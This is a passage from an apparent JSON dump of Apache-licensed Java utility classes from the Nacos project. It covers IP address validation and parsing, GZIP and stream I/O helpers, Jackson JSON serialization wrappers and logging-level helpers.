\n    private static final Pattern IPV6_HEX_COMPRESSED_PATTERN = Pattern\n            .compile(\"^\" + \"(\" + \"(?:[0-9A-Fa-f]{1,4}\" + \"(?::[0-9A-Fa-f]{1,4})*)?\" + \")\" + \"::\"\n                    \n                    + \"(\" + \"(?:[0-9A-Fa-f]{1,4}\" + \"(?::[0-9A-Fa-f]{1,4})*)?\" + \")\" + \"$\");\n    \n    private static final Pattern IPV6_MIXED_COMPRESSED_REGEX = Pattern.compile(\n            \"^\" + \"(\" + \"(?:[0-9A-Fa-f]{1,4}\" + \"(?::[0-9A-Fa-f]{1,4})*)?\" + \")\" + \"::\" + \"(\" + \"(?:[0-9A-Fa-f]{1,4}:\"\n                    + \"(?:[0-9A-Fa-f]{1,4}:)*)?\" + \")\" + \"$\");\n    \n    private static final Pattern IPV6_MIXED_UNCOMPRESSED_REGEX = Pattern\n            .compile(\"^\" + \"(?:[0-9a-fA-F]{1,4}:){6}\" + \"$\");\n    \n    /**\n     * Check if <code>input</code> is a valid IPv4 address. The format is 'xxx.xxx.xxx.xxx'. Four blocks of integer\n     * numbers ranging from 0 to 255 are required. Letters are not allowed.\n     *\n     * @param input ip-address to check\n     * @return true if <code>input</code> is in correct IPv4 notation.\n     */\n    public static boolean isIpv4Address(final String input) {\n        return IPV4_PATTERN.matcher(input).matches();\n    }\n    \n    /**\n     * Check if the given address is a valid IPv6 address in the standard format The format is\n     * 'xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx'. Eight blocks of hexadecimal digits are required.\n     *\n     * @param input ip-address to check\n     * @return true if <code>input</code> is in correct IPv6 notation.\n     */\n    public static boolean isIpv6StdAddress(final String input) {\n        return IPV6_STD_PATTERN.matcher(input).matches();\n    }\n    \n    /**\n     * Check if the given address is a valid IPv6 address in the hex-compressed notation The format is\n     * 'xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx'. If all digits in a block are '0' the block can be left empty.\n     *\n     * @param input ip-address to check\n     * @return true if <code>input</code> is in correct IPv6 (hex-compressed) notation.\n     */\n    public static boolean isIpv6HexCompressedAddress(final String input) {\n        return IPV6_HEX_COMPRESSED_PATTERN.matcher(input).matches();\n    }\n    \n    /**\n     * Check if <code>input</code> is a IPv6 address. Possible notations for valid IPv6 are: - Standard IPv6 address -\n     * Hex-compressed IPv6 address - Link-local IPv6 address - IPv4-mapped-to-IPV6 address - IPv6 mixed address\n     *\n     * @param input ip-address to check\n     * @return true if <code>input</code> is in correct IPv6 notation.\n     */\n    public static boolean isIpv6Address(final String input) {\n        return isIpv6StdAddress(input) || isIpv6HexCompressedAddress(input) || isLinkLocalIpv6WithZoneIndex(input)\n                || isIpv6Ipv4MappedAddress(input) || isIpv6MixedAddress(input);\n    }\n    \n    /**\n     * Check if the given address is a valid IPv6 address in the mixed-standard or mixed-compressed notation. IPV6 Mixed\n     * mode consists of two parts, the first 96 bits (up to 6 blocks of 4 hex digits) are IPv6 the IPV6 part can be\n     * either compressed or uncompressed the second block is a full IPv4 address e.g. '0:0:0:0:0:0:172.12.55.18'\n     *\n     * @param input ip-address to check\n     * @return true if <code>input</code> is in correct IPv6 (mixed-standard or mixed-compressed) notation.\n     */\n    public static boolean isIpv6MixedAddress(final String input) {\n        int splitIndex = input.lastIndexOf(':');\n        \n        if (splitIndex == -1) {\n            return false;\n        }\n        \n        //the last part is a ipv4 address\n        boolean ipv4PartValid = isIpv4Address(input.substring(splitIndex + 1));\n        \n        String ipV6Part = input.substring(ZERO, splitIndex + 1);\n        if (DOUBLE_COLON.equals(ipV6Part)) {\n            return ipv4PartValid;\n        }\n        \n        boolean ipV6UncompressedDetected = IPV6_MIXED_UNCOMPRESSED_REGEX.matcher(ipV6Part).matches();\n        boolean ipV6CompressedDetected = IPV6_MIXED_COMPRESSED_REGEX.matcher(ipV6Part).matches();\n        \n        return ipv4PartValid && (ipV6UncompressedDetected || ipV6CompressedDetected);\n    }\n    \n    /**\n     * Check if <code>input</code> is an IPv4 address mapped into a IPv6 address. These are starting with \"::ffff:\"\n     * followed by the IPv4 address in a dot-seperated notation. The format is '::ffff:d.d.d.d'\n     *\n     * @param input ip-address to check\n     * @return true if <code>input</code> is in correct IPv6 notation containing an IPv4 address\n     */\n    public static boolean isIpv6Ipv4MappedAddress(final String input) {\n        if (input.length() > SEVEN && input.substring(ZERO, SEVEN).equalsIgnoreCase(DOUBLE_COLON_FFFF)) {\n            String lowerPart = input.substring(SEVEN);\n            return isIpv4Address(lowerPart);\n        }\n        return false;\n    }\n    \n    /**\n     * Check if <code>input</code> is a link local IPv6 address starting with \"fe80:\" and containing a zone index with\n     * \"%xxx\". The zone index will not be checked.\n     *\n     * @param input ip-address to check\n     * @return true if address part of <code>input</code> is in correct IPv6 notation.\n     */\n    public static boolean isLinkLocalIpv6WithZoneIndex(String input) {\n        if (input.length() > FIVE && input.substring(ZERO, FIVE).equalsIgnoreCase(FE80)) {\n            int lastIndex = input.lastIndexOf(PERCENT);\n            if (lastIndex > ZERO && lastIndex < (input.length() - 1)) {\n                String ipPart = input.substring(ZERO, lastIndex);\n                return isIpv6StdAddress(ipPart) || isIpv6HexCompressedAddress(ipPart);\n            }\n        }\n        return false;\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/InternetAddressUtil.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport java.net.InetAddress;\nimport java.util.Objects;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\n/**\n * ip tool.\n *\n * @author Nacos\n */\n@SuppressWarnings(\"checkstyle:AbbreviationAsWordInName\")\npublic class InternetAddressUtil {\n    \n    private InternetAddressUtil() {\n    }\n    \n    public static final boolean PREFER_IPV6_ADDRESSES = Boolean.parseBoolean(\n            System.getProperty(\"java.net.preferIPv6Addresses\"));\n    \n    public static final String IPV6_START_MARK = \"[\";\n    \n    public static final String IPV6_END_MARK = \"]\";\n    \n    public static final String ILLEGAL_IP_PREFIX = \"illegal ip: \";\n    \n    public static final String IP_PORT_SPLITER = \":\";\n    \n    public static final int SPLIT_IP_PORT_RESULT_LENGTH = 2;\n    \n    public static final String PERCENT_SIGN_IN_IPV6 = \"%\";\n    \n    public static final String LOCAL_HOST = \"localhost\";\n    \n    private static final String LOCAL_HOST_IP_V4 = \"127.0.0.1\";\n    \n    private static final String LOCAL_HOST_IP_V6 = \"[::1]\";\n    \n    private static final String CHECK_OK = \"ok\";\n    \n    private static final Pattern DOMAIN_PATTERN = Pattern.compile(\n            \"[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\\\\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+\\\\.?\");\n    \n    private static final String IPV4_TUPLE = \"(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\";\n    \n    private static final Pattern IPV4_PATTERN = Pattern.compile(\n            \"(?<!\\\\d)\" + IPV4_TUPLE + \"\\\\.\" + IPV4_TUPLE + \"\\\\.\" + IPV4_TUPLE + \"\\\\.\" + IPV4_TUPLE + \"(?!\\\\d)\");\n    \n    /**\n     * get localhost ip.\n     *\n     * @return java.lang.String\n     */\n    public static String localHostIp() {\n        if (PREFER_IPV6_ADDRESSES) {\n            return LOCAL_HOST_IP_V6;\n        }\n        return LOCAL_HOST_IP_V4;\n    }\n    \n    /**\n     * check whether the ip address is IPv4.\n     *\n     * @param addr ip address\n     * @return boolean\n     */\n    public static boolean isIpv4(String addr) {\n        return InetAddressValidator.isIpv4Address(addr);\n    }\n    \n    /**\n     * check whether the ip address is IPv6.\n     *\n     * @param addr ip address\n     * @return boolean\n     */\n    public static boolean isIpv6(String addr) {\n        return InetAddressValidator.isIpv6Address(removeBrackets(addr));\n    }\n    \n    /**\n     * check whether the str is ip address (IPv4 or IPv6).\n     *\n     * @param addr ip address str\n     * @return boolean\n     */\n    public static boolean isIp(String addr) {\n        return isIpv4(addr) || isIpv6(addr);\n    }\n    \n    /**\n     * Check if the address contains a port. 2020/9/3 14:53\n     *\n     * @param address address string\n     * @return boolean\n     */\n    public static boolean containsPort(String address) {\n        return splitIpPortStr(address).length == SPLIT_IP_PORT_RESULT_LENGTH;\n    }\n    \n    /**\n     * Split IP and port strings, support IPv4 and IPv6, IP in IPv6 must be enclosed with []. Illegal IP will get\n     * abnormal results.\n     *\n     * @param str ip and port string\n     * @return java.lang.String[]\n     */\n    public static String[] splitIpPortStr(String str) {\n        if (StringUtils.isBlank(str)) {\n            throw new IllegalArgumentException(\"ip and port string cannot be empty!\");\n        }\n        String[] serverAddrArr;\n        if (str.startsWith(IPV6_START_MARK) && StringUtils.containsIgnoreCase(str, IPV6_END_MARK)) {\n            if (str.endsWith(IPV6_END_MARK)) {\n                serverAddrArr = new String[1];\n                serverAddrArr[0] = str;\n            } else {\n                serverAddrArr = new String[2];\n                serverAddrArr[0] = str.substring(0, (str.indexOf(IPV6_END_MARK) + 1));\n                serverAddrArr[1] = str.substring((str.indexOf(IPV6_END_MARK) + 2));\n            }\n        } else {\n            serverAddrArr = str.split(IP_PORT_SPLITER);\n        }\n        return serverAddrArr;\n    }\n    \n    /**\n     * Resolve the IP from the string containing the IP address.\n     *\n     * @param str string containing IP address\n     * @return java.lang.String\n     */\n    public static String getIpFromString(String str) {\n        if (StringUtils.isBlank(str)) {\n            return \"\";\n        }\n        String result = \"\";\n        if (StringUtils.containsIgnoreCase(str, IPV6_START_MARK) && StringUtils.containsIgnoreCase(str,\n                IPV6_END_MARK)) {\n            result = str.substring(str.indexOf(IPV6_START_MARK), (str.indexOf(IPV6_END_MARK) + 1));\n            if (!isIpv6(result)) {\n                result = \"\";\n            }\n        } else {\n            Matcher m = IPV4_PATTERN.matcher(str);\n            if (m.find()) {\n                result = m.group();\n            }\n        }\n        return result;\n    }\n    \n    /**\n     * Check ips.\n     *\n     * @param ips ips\n     * @return 'ok' if check passed, otherwise illegal ip\n     */\n    public static String checkIps(String... ips) {\n        \n        if (ips == null || ips.length == 0) {\n            \n            return CHECK_OK;\n        }\n        // illegal response\n        StringBuilder illegalResponse = new StringBuilder();\n        for (String ip : ips) {\n            if (InternetAddressUtil.isIp(ip)) {\n                continue;\n            }\n            illegalResponse.append(ip).append(\",\");\n        }\n        \n        if (illegalResponse.length() == 0) {\n            return CHECK_OK;\n        }\n        \n        return ILLEGAL_IP_PREFIX + illegalResponse.substring(0, illegalResponse.length() - 1);\n    }\n    \n    /**\n     * Check whether checkIps result is \"ok\".\n     *\n     * @param checkIpsResult checkIps result\n     * @return boolean\n     */\n    public static boolean checkOk(String checkIpsResult) {\n        return CHECK_OK.equals(checkIpsResult);\n    }\n    \n    /**\n     * remove brackets \"[]\".\n     *\n     * @param str is ipv6 address\n     * @return string removed brackets\n     */\n    public static String removeBrackets(String str) {\n        if (StringUtils.isBlank(str)) {\n            return \"\";\n        }\n        return str.replaceAll(\"[\\\\[\\\\]]\", \"\");\n    }\n    \n    /**\n     * judge str is right domain.（Check only rule）.\n     *\n     * @param str nacosIP\n     * @return nacosIP is domain\n     */\n    public static boolean isDomain(String str) {\n        if (StringUtils.isBlank(str)) {\n            return false;\n        }\n        if (Objects.equals(str, LOCAL_HOST)) {\n            return true;\n        }\n        return DOMAIN_PATTERN.matcher(str).matches();\n    }\n    \n    /**\n     * convert ip address to int.\n     *\n     * @param ip ip address.\n     * @return int\n     */\n    public static int ipToInt(String ip) {\n        try {\n            return bytesToInt(ipToBytesByInet(ip));\n        } catch (Exception e) {\n            throw new IllegalArgumentException(ip + \" is invalid IP\");\n        }\n    }\n    \n    /**\n     * convert byte array to int.\n     *\n     * @param bytes byte array.\n     * @return int\n     */\n    public static int bytesToInt(byte[] bytes) {\n        int addr = bytes[3] & 0xFF;\n        addr |= ((bytes[2] << 8) & 0xFF00);\n        addr |= ((bytes[1] << 16) & 0xFF0000);\n        addr |= ((bytes[0] << 24) & 0xFF000000);\n        return addr;\n    }\n    \n    /**\n     * convert ip address to byte array.\n     *\n     * @param ip ip address.\n     * @return byte[]\n     */\n    public static byte[] ipToBytesByInet(String ip) {\n        try {\n            return InetAddress.getByName(ip).getAddress();\n        } catch (Exception e) {\n            throw new IllegalArgumentException(ip + \" is invalid IP\");\n        }\n    }\n}"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/IoUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport com.alibaba.nacos.api.common.Constants;\n\nimport java.io.BufferedReader;\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.CharArrayWriter;\nimport java.io.Closeable;\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.OutputStream;\nimport java.io.Reader;\nimport java.io.Writer;\nimport java.net.HttpURLConnection;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.zip.GZIPInputStream;\nimport java.util.zip.GZIPOutputStream;\n\n/**\n * IO related tool methods.\n *\n * @author nacos\n */\npublic class IoUtils {\n    \n    private IoUtils() {\n    }\n    \n    /**\n     * Try decompress by GZIP from stream.\n     *\n     * @param raw compress stream\n     * @return byte array after decompress\n     */\n    public static byte[] tryDecompress(InputStream raw) throws IOException {\n        try (GZIPInputStream gis = new GZIPInputStream(raw);\n                ByteArrayOutputStream out = new ByteArrayOutputStream()) {\n            copy(gis, out);\n            return out.toByteArray();\n        }\n    }\n    \n    /**\n     * Try decompress by GZIP from byte array.\n     *\n     * @param raw compressed byte array\n     * @return byte array after decompress\n     * @throws Exception exception\n     */\n    public static byte[] tryDecompress(byte[] raw) throws Exception {\n        if (!isGzipStream(raw)) {\n            return raw;\n        }\n        return tryDecompress(new ByteArrayInputStream(raw));\n    }\n    \n    /**\n     * Try compress by GZIP for string.\n     *\n     * @param str      strings to be compressed.\n     * @param encoding encoding.\n     * @return byte[]\n     */\n    public static byte[] tryCompress(String str, String encoding) {\n        if (str == null || str.length() == 0) {\n            return new byte[0];\n        }\n        ByteArrayOutputStream out = new ByteArrayOutputStream();\n        try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {\n            gzip.write(str.getBytes(encoding));\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return out.toByteArray();\n    }\n    \n    private static BufferedReader toBufferedReader(Reader reader) {\n        return reader instanceof BufferedReader ? (BufferedReader) reader : new BufferedReader(reader);\n    }\n    \n    /**\n     * Write string to a file.\n     *\n     * @param file     file\n     * @param data     string\n     * @param encoding encoding of string\n     * @throws IOException io exception\n     */\n    public static void writeStringToFile(File file, String data, String encoding) throws IOException {\n        try (OutputStream os = new FileOutputStream(file)) {\n            os.write(data.getBytes(encoding));\n            os.flush();\n        }\n    }\n    \n    /**\n     * Read lines.\n     *\n     * @param input reader\n     * @return list of line\n     * @throws IOException io exception\n     */\n    public static List<String> readLines(Reader input) throws IOException {\n        BufferedReader reader = toBufferedReader(input);\n        List<String> list = new ArrayList<>();\n        while (true) {\n            String line = reader.readLine();\n            if (null != line) {\n                if (StringUtils.isNotEmpty(line)) {\n                    list.add(line.trim());\n                }\n            } else {\n                break;\n            }\n        }\n        return list;\n    }\n    \n    /**\n     * To string from stream.\n     *\n     * @param input    stream\n     * @param encoding charset of stream\n     * @return string\n     * @throws IOException io exception\n     */\n    public static String toString(InputStream input, String encoding) throws IOException {\n        if (input == null) {\n            return StringUtils.EMPTY;\n        }\n        return (null == encoding) ? toString(new InputStreamReader(input, Constants.ENCODE))\n                : toString(new InputStreamReader(input, encoding));\n    }\n    \n    /**\n     * To string from reader.\n     *\n     * @param reader reader\n     * @return string\n     * @throws IOException io exception\n     */\n    public static String toString(Reader reader) throws IOException {\n        CharArrayWriter sw = new CharArrayWriter();\n        copy(reader, sw);\n        return sw.toString();\n    }\n    \n    /**\n     * Copy data.\n     *\n     * @param input  source\n     * @param output target\n     * @return copy size\n     * @throws IOException io exception\n     */\n    public static long copy(Reader input, Writer output) throws IOException {\n        char[] buffer = new char[1 << 12];\n        long count = 0;\n        for (int n = 0; (n = input.read(buffer)) >= 0; ) {\n            output.write(buffer, 0, n);\n            count += n;\n        }\n        return count;\n    }\n    \n    /**\n     * Copy data.\n     *\n     * @param input  source\n     * @param output target\n     * @return copy size\n     * @throws IOException io exception\n     */\n    public static long copy(InputStream input, OutputStream output) throws IOException {\n        byte[] buffer = new byte[1024];\n        int bytesRead;\n        int totalBytes = 0;\n        while ((bytesRead = input.read(buffer)) != -1) {\n            output.write(buffer, 0, bytesRead);\n            \n            totalBytes += bytesRead;\n        }\n        \n        return totalBytes;\n    }\n    \n    /**\n     * Delete file or dir.\n     *\n     * <p>If is dir, clean directory, do not delete dir.\n     *\n     * <p>If is file, delete file.\n     *\n     * @param fileOrDir file or dir\n     * @throws IOException io exception\n     */\n    public static void delete(File fileOrDir) throws IOException {\n        if (fileOrDir == null) {\n            return;\n        }\n        \n        if (fileOrDir.isDirectory()) {\n            cleanDirectory(fileOrDir);\n        } else {\n            if (fileOrDir.exists()) {\n                boolean isDeleteOk = fileOrDir.delete();\n                if (!isDeleteOk) {\n                    throw new IOException(\"delete fail\");\n                }\n            }\n        }\n    }\n    \n    /**\n     * 清理目录下的内容. Clean content under directory.\n     *\n     * @param directory directory\n     * @throws IOException io exception\n     */\n    public static void cleanDirectory(File directory) throws IOException {\n        if (!directory.exists()) {\n            String message = directory + \" does not exist\";\n            throw new IllegalArgumentException(message);\n        }\n        \n        if (!directory.isDirectory()) {\n            String message = directory + \" is not a directory\";\n            throw new IllegalArgumentException(message);\n        }\n        \n        File[] files = directory.listFiles();\n        // null if security restricted\n        if (files == null) {\n            throw new IOException(\"Failed to list contents of \" + directory);\n        }\n        \n        IOException exception = null;\n        for (File file : files) {\n            try {\n                delete(file);\n            } catch (IOException ioe) {\n                exception = ioe;\n            }\n        }\n        \n        if (null != exception) {\n            throw exception;\n        }\n    }\n    \n    /**\n     * Judge whether is Gzip stream.\n     *\n     * @param bytes byte array\n     * @return true if is gzip, otherwise false\n     */\n    public static boolean isGzipStream(byte[] bytes) {\n        \n        int minByteArraySize = 2;\n        if (bytes == null || bytes.length < minByteArraySize) {\n            return false;\n        }\n        \n        return GZIPInputStream.GZIP_MAGIC == ((bytes[1] << 8 | bytes[0]) & 0xFFFF);\n    }\n    \n    /**\n     * Close http connection quietly.\n     *\n     * @param connection http connection\n     */\n    public static void closeQuietly(HttpURLConnection connection) {\n        if (connection != null) {\n            try {\n                closeQuietly(connection.getInputStream());\n            } catch (Exception ignore) {\n            }\n        }\n    }\n    \n    /**\n     * Close closable object quietly.\n     *\n     * @param closeable http connection\n     */\n    public static void closeQuietly(Closeable closeable) {\n        try {\n            if (closeable != null) {\n                closeable.close();\n            }\n        } catch (IOException ignored) {\n        }\n    }\n    \n    public static void closeQuietly(Closeable... closeable) {\n        Arrays.stream(closeable).forEach(IoUtils::closeQuietly);\n    }\n}\n\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/JacksonUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport com.alibaba.nacos.api.exception.runtime.NacosDeserializationException;\nimport com.alibaba.nacos.api.exception.runtime.NacosSerializationException;\nimport com.fasterxml.jackson.annotation.JsonInclude.Include;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.core.type.TypeReference;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.JavaType;\nimport com.fasterxml.jackson.databind.JsonNode;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.fasterxml.jackson.databind.jsontype.NamedType;\nimport com.fasterxml.jackson.databind.node.ArrayNode;\nimport com.fasterxml.jackson.databind.node.ObjectNode;\n\nimport java.io.InputStream;\nimport java.io.IOException;\nimport java.lang.reflect.Type;\n\n/**\n * Json utils implement by Jackson.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic final class JacksonUtils {\n\n    private JacksonUtils() {\n    }\n    \n    static ObjectMapper mapper = new ObjectMapper();\n    \n    static {\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(Include.NON_NULL);\n    }\n    \n    /**\n     * Object to json string.\n     *\n     * @param obj obj\n     * @return json string\n     * @throws NacosSerializationException if transfer failed\n     */\n    public static String toJson(Object obj) {\n        try {\n            return mapper.writeValueAsString(obj);\n        } catch (JsonProcessingException e) {\n            throw new NacosSerializationException(obj.getClass(), e);\n        }\n    }\n    \n    /**\n     * Object to json string byte array.\n     *\n     * @param obj obj\n     * @return json string byte array\n     * @throws NacosSerializationException if transfer failed\n     */\n    public static byte[] toJsonBytes(Object obj) {\n        try {\n            return mapper.writeValueAsBytes(obj);\n        } catch (JsonProcessingException e) {\n            throw new NacosSerializationException(obj.getClass(), e);\n        }\n    }\n    \n    /**\n     * Json string deserialize to Object.\n     *\n     * @param json json string\n     * @param cls  class of object\n     * @param <T>  General type\n     * @return object\n     * @throws NacosDeserializationException if deserialize failed\n     */\n    public static <T> T toObj(byte[] json, Class<T> cls) {\n        try {\n            return mapper.readValue(json, cls);\n        } catch (Exception e) {\n            throw new NacosDeserializationException(cls, e);\n        }\n    }\n    \n    /**\n     * Json string deserialize to Object.\n     *\n     * @param json json string\n     * @param cls  {@link Type} of object\n     * @param <T>  General type\n     * @return object\n     * @throws NacosDeserializationException if deserialize failed\n     */\n    public static <T> T toObj(byte[] json, Type cls) {\n        try {\n            return mapper.readValue(json, mapper.constructType(cls));\n        } catch (Exception e) {\n            throw new NacosDeserializationException(e);\n        }\n    }\n    \n    /**\n     * Json string deserialize to Object.\n     *\n     * @param inputStream json string input stream\n     * @param cls         class of object\n     * @param <T>         General type\n     * @return object\n     * @throws NacosDeserializationException if deserialize failed\n     */\n    public static <T> T toObj(InputStream inputStream, Class<T> cls) {\n        try {\n            return mapper.readValue(inputStream, cls);\n        } catch (IOException e) {\n            throw new NacosDeserializationException(e);\n        }\n    }\n    \n    /**\n     * Json string deserialize to Object.\n     *\n     * @param json          json string byte array\n     * @param typeReference {@link TypeReference} of object\n     * @param <T>           General type\n     * @return object\n     * @throws NacosDeserializationException if deserialize failed\n     */\n    public static <T> T toObj(byte[] json, TypeReference<T> typeReference) {\n        try {\n            return mapper.readValue(json, typeReference);\n        } catch (Exception e) {\n            throw new NacosDeserializationException(e);\n        }\n    }\n    \n    /**\n     * Json string deserialize to Object.\n     *\n     * @param json json string\n     * @param cls  class of object\n     * @param <T>  General type\n     * @return object\n     * @throws NacosDeserializationException if deserialize failed\n     */\n    public static <T> T toObj(String json, Class<T> cls) {\n        try {\n            return mapper.readValue(json, cls);\n        } catch (IOException e) {\n            throw new NacosDeserializationException(cls, e);\n        }\n    }\n    \n    /**\n     * Json string deserialize to Object.\n     *\n     * @param json json string\n     * @param type {@link Type} of object\n     * @param <T>  General type\n     * @return object\n     * @throws NacosDeserializationException if deserialize failed\n     */\n    public static <T> T toObj(String json, Type type) {\n        try {\n            return mapper.readValue(json, mapper.constructType(type));\n        } catch (IOException e) {\n            throw new NacosDeserializationException(e);\n        }\n    }\n    \n    /**\n     * Json string deserialize to Object.\n     *\n     * @param json          json string\n     * @param typeReference {@link TypeReference} of object\n     * @param <T>           General type\n     * @return object\n     * @throws NacosDeserializationException if deserialize failed\n     */\n    public static <T> T toObj(String json, TypeReference<T> typeReference) {\n        try {\n            return mapper.readValue(json, typeReference);\n        } catch (IOException e) {\n            throw new NacosDeserializationException(typeReference.getClass(), e);\n        }\n    }\n    \n    /**\n     * Json string deserialize to Object.\n     *\n     * @param inputStream json string input stream\n     * @param type        {@link Type} of object\n     * @param <T>         General type\n     * @return object\n     * @throws NacosDeserializationException if deserialize failed\n     */\n    public static <T> T toObj(InputStream inputStream, Type type) {\n        try {\n            return mapper.readValue(inputStream, mapper.constructType(type));\n        } catch (IOException e) {\n            throw new NacosDeserializationException(type, e);\n        }\n    }\n    \n    /**\n     * Json string deserialize to Jackson {@link JsonNode}.\n     *\n     * @param json json string\n     * @return {@link JsonNode}\n     * @throws NacosDeserializationException if deserialize failed\n     */\n    public static JsonNode toObj(String json) {\n        try {\n            return mapper.readTree(json);\n        } catch (IOException e) {\n            throw new NacosDeserializationException(e);\n        }\n    }\n    \n    /**\n     * Register sub type for child class.\n     *\n     * @param clz  child class\n     * @param type type name of child class\n     */\n    public static void registerSubtype(Class<?> clz, String type) {\n        mapper.registerSubtypes(new NamedType(clz, type));\n    }\n    \n    /**\n     * Create a new empty Jackson {@link ObjectNode}.\n     *\n     * @return {@link ObjectNode}\n     */\n    public static ObjectNode createEmptyJsonNode() {\n        return new ObjectNode(mapper.getNodeFactory());\n    }\n    \n    /**\n     * Create a new empty Jackson {@link ArrayNode}.\n     *\n     * @return {@link ArrayNode}\n     */\n    public static ArrayNode createEmptyArrayNode() {\n        return new ArrayNode(mapper.getNodeFactory());\n    }\n    \n    /**\n     * Parse object to Jackson {@link JsonNode}.\n     *\n     * @param obj object\n     * @return {@link JsonNode}\n     */\n    public static JsonNode transferToJsonNode(Object obj) {\n        return mapper.valueToTree(obj);\n    }\n    \n    /**\n     * construct java type -> Jackson Java Type.\n     *\n     * @param type java type\n     * @return JavaType {@link JavaType}\n     */\n    public static JavaType constructJavaType(Type type) {\n        return mapper.constructType(type);\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/LoggerUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.slf4j.Logger;\n\n/**\n * Logger utils.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic final class LoggerUtils {\n\n    private LoggerUtils() {\n    }\n    \n    public static final String TRACE = \"TRACE\";\n    \n    public static final String INFO = \"INFO\";\n    \n    public static final String DEBUG = \"DEBUG\";\n    \n    public static final String WARN = \"WARN\";\n    \n    public static final String ERROR = \"ERROR\";\n    \n    /**\n     * Print if log debug level is enabled.\n     *\n     * @param logger logger\n     * @param s      log message\n     * @param args   arguments\n     */\n    public static void printIfDebugEnabled(Logger logger, String s, Object... args) {\n        if (logger.isDebugEnabled()) {\n            logger.debug(s, args);\n        }\n    }\n    \n    /**\n     * Print if log info level is enabled.\n     *\n     * @param logger logger\n     * @param s      log message\n     * @param args   arguments\n     */\n    public static void printIfInfoEnabled(Logger logger, String s, Object... args) {\n        if (logger.isInfoEnabled()) {\n            logger.info(s, args);\n        }\n    }\n    \n    /**\n     * Print if log trace level is enabled.\n     *\n     * @param logger logger\n     * @param s      log message\n     * @param args   arguments\n     */\n    public static void printIfTraceEnabled(Logger logger, String s, Object... args) {\n        if (logger.isTraceEnabled()) {\n            logger.trace(s, args);\n        }\n    }\n    \n    /**\n     * Print if log warn level is enabled.\n     *\n     * @param logger logger\n     * @param s      log message\n     * @param args   arguments\n     */\n    public static void printIfWarnEnabled(Logger logger, String s, Object... args) {\n        if (logger.isWarnEnabled()) {\n            logger.warn(s, args);\n        }\n    }\n    \n    /**\n     * Print if log error level is enabled.\n     *\n     * @param logger logger\n     * @param s      log message\n     * @param args   arguments\n     */\n    public static void printIfErrorEnabled(Logger logger, String s, Object... args) {\n        if (logger.isErrorEnabled()) {\n            logger.error(s, args);\n        }\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/MD5Utils.java",
